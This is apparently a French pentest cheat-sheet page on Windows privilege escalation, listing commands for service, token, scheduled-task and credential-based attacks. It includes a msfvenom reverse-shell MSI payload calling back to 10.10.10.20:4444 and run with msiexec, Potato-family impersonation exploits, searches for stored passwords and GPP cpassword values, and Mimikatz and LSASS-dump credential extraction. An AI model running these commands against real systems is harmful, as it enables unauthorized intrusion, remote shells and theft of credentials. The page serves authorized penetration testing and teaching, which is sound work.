PST Technique · Post-exploitation

Windows privesc

Services, tokens, tâches planifiées et credentials : élever ses privilèges sur Windows.

Intermédiaire / 1 min de lecture / maj 07 nov 2026 / 5 tags
raw domaine signaler
Index des sheets

#Contexte

powershell
whoami /all
systeminfo
wmic qfe list brief
Get-HotFix
powershell
# Groupes et privilèges actuels
whoami /groups
whoami /priv

Privilèges intéressants : SeImpersonatePrivilege, SeAssignPrimaryTokenPrivilege, SeBackupPrivilege, SeDebugPrivilege, SeTakeOwnershipPrivilege.

#Services

powershell
# Services et chemins
Get-CimInstance Win32_Service | Select Name,State,StartMode,PathName

# Permissions sur le binaire d'un service
icacls "C:\Program Files\Vuln\service.exe"

# Service non quoté
Get-CimInstance Win32_Service | Where-Object {$_.PathName -notmatch '^"' -and $_.PathName -match ' '}
powershell
# PowerUp
. .\PowerUp.ps1
Invoke-AllChecks

# SharpUp
SharpUp.exe audit

Vulnérabilités classiques :

Problème Exploit
Binaire de service modifiable Remplacer l'exe, redémarrer le service
Chemin non quoté Placer C:\Program.exe avant l'espace
Permissions faibles sur le dossier DLL hijack / remplacement
AlwaysInstallElevated MSI exécuté en SYSTEM
powershell
# AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.20 LPORT=4444 -f msi -o evil.msi
msiexec /quiet /qn /i evil.msi

#Tokens

powershell
# Vérifier SeImpersonate
whoami /priv | findstr Impersonate
powershell
# Potato family (selon version Windows)
PrintSpoofer.exe -i -c "cmd /c whoami"
GodPotato.exe -cmd "cmd /c whoami"
JuicyPotato.exe -l 1337 -p cmd.exe -a "/c whoami" -t *

#Tâches planifiées et credentials

powershell
# Tâches et permissions
schtasks /query /fo LIST /v
Get-ScheduledTask | ForEach-Object { $_.Principal | Select UserId }

# Credentials stockés
cmdkey /list
reg query HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
findstr /si password *.xml *.ini *.txt *.config 2>nul

# GPP cpassword
findstr /S /I cpassword \\domain.local\sysvol\domain.local\*.xml
powershell
# winPEAS
.\winPEASx64.exe

#Dump de credentials

powershell
# Mimikatz (admin ou SYSTEM requis)
privilege::debug
sekurlsa::logonpasswords
lsadump::sam
lsadump::lsa /patch

# Depuis un dump LSASS
procdump.exe -accepteula -ma lsass.exe lsass.dmp
# puis, hors ligne :
pypykatz lsa minidump lsass.dmp
powershell
# Chercher les fichiers de credentials
findstr /si password *.xml *.ini *.txt *.config 2>nul
Get-ChildItem -Recurse -Include *.kdbx,*.rdp,*.ovpn -ErrorAction SilentlyContinue

#UAC et énumération rapide

powershell
# Niveau UAC
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA

# UACME / fodhelper (si admin dans le groupe local)
# Vérifier les groupes : Administrators, Backup Operators
net localgroup administrators
INDEX // 42 FICHES // 12 DOMAINES LOCAL SEARCH
↑↓ naviguer ↵ ouvrir esc fermer sheet.sec / find
Raccourcis clavier
Recherche globale /ou⌘K
Naviguer dans les résultats ↑↓
Ouvrir le résultat actif ↵
Fermer une fenêtre esc
Accueil gh
Tous les sheets gs
Fiche aléatoire gr
Cette fenêtre ?